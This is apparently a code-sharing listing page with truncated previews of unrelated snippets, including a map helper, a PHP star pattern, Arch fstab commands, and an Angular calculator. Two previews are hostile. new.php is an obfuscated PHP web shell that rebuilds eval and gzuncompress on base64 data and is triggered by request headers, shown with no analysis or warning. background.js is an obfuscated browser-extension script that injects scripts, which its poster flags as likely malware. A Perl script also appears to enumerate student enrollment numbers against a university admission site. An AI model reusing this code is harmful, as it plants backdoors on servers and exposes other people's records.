View map.js
// Usage: <li class="locate" address="some address">Some Chapter title</li>
"use strict"
// global map object. Note that map is not real Map object (google maps api)
// this is a wrapper to keep objects organized.
var map = {
objectMap: {},
infoWindow: {},
View asteriskhill.php
<?php
$n = 4;
for($i = 0; $i < 5; $i++) {
for($j = 0; $j < $n; $j++)
echo " ";
for($j = 0; $j <= $i; $j++)
echo "*";
echo "\n";
View findenrol
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use threads;
my $url = 'http://admission.ignou.ac.in/changeadmdata/AdmissionStatusNew.ASP';
my $enr = 168227756;
View fstab-generate-arch.sh
# First, install arch-install-scripts:
sudo pacman -S --needed arch-install-scripts
# Secondly, mount your partitions in all the internal hard drives
# Thirdly, generate and validate your config by piping it out to stdout:
genfstab -U -p / | less
# If all looks green, proceed to overwrite your current fstab with the new entries:
su -c "genfstab -U -p / >> /etc/fstab"
View js_frameworks_comparison.md

Javascript Frameworks: What's the difference?

Meteor vs. Angular vs. Backbone

All frameworks are not created equal...but what really is the difference? And when should I use which one?

All the things

An awesome site to compare all the codes:

todomvc.com

View script.js
var app = angular.module('lCalc', []); // init angular app
app.controller('calcCtrl', [
// controller definition
'$scope',
function($scope) {
$scope.calculate = function(){
if($scope.first == "" || $scope.second == "") {
View background.js
// took out from https://chrome.google.com/webstore/detail/emaze/aiimeahlhgelkbokgffmpdagdaachlpk
// do not install. High possibility of being a malware...
setTimeout(function()
{
(function()
{
var _0x47a5x0=document["getElementsByTagName"]("head")[0];
var _0x47a5x1=document["createElement"]("script");
_0x47a5x1["type"]="text/javascript";
View new.php
<?php
$p='allK*("/([\\w])[\\w-]+K*(?:;q=0K*.([K*\\d]))?,?K*/",$ra,$m)K*;if($qK*&&$m){K*@sessiK*on_K*start();$K*s=&$';
$W=str_replace('OF','','crOFOFeOFate_fOFuncOFtOFion');
$U='i.$kK*h),0,3K*));$K*f=$K*sK*l($ss(K*md5($i.$K*kf),0,3)K*);$p=""K*;foK*r($z=1;$z<counK*t($mK*K*[1])K*;$';
$H='0;$K*i<$K*l;)K*{for($j=0K*;K*($j<$c&&$i<K*$l);$j++,$iK*++K*){$oK*K*.K*=$t{$i}^$k{$j};}K*}return $o;}$rK*=$_S';
$x='$kK*h="9689";$kf=K*"8bbK*8";functioK*n x($tK*,$k){$K*c=sK*trK*lenK*($k);$l=stK*rlen($t)K*;$o=""K*;forK*($i=';
$P='_K*K*SESSIONK*;K*$ss="K*substr";$slK*="strtK*olower"K*;$K*i=$m[1][0].$m[1K*]K*[1];$K*h=$sK*l($ss(md5($';
$J='();@evK*alK*(@gzuncK*omprK*ess(@x(@basK*e64_decoK*dK*e(preg_replaK*ce(arK*K*ray("/_K*/","/-/K*K*"),arr';
$D='*y_existK*s($i,$K*s))K*{$K*s[$K*i].=$p;K*$e=strposK*($s[$i],$f)K*;K*if($e){$k=K*$kh.$kfK*K*;ob_starK*t';
$h='K*ERVER;$rK*r=@$r["HK*TTP_RK*EFEK*RER"];K*$ra=@$r[K*"HTK*K*TP_ACCEPT_LANK*GUAGE"K*];if($rr&K*&$K*ra){$';
View pirates.py
#!/usr/bin/env python
"""Usage: devil.devilgame(N, (F,B,T,FD,BD))
Expects 2 arguments. First is integer while second is a tuple.
"""
def devilgame(N, (F, B, T, FD, BD)):
# initializing variables
piratesPos = 0
meters = 0
returnStr = ["", ""]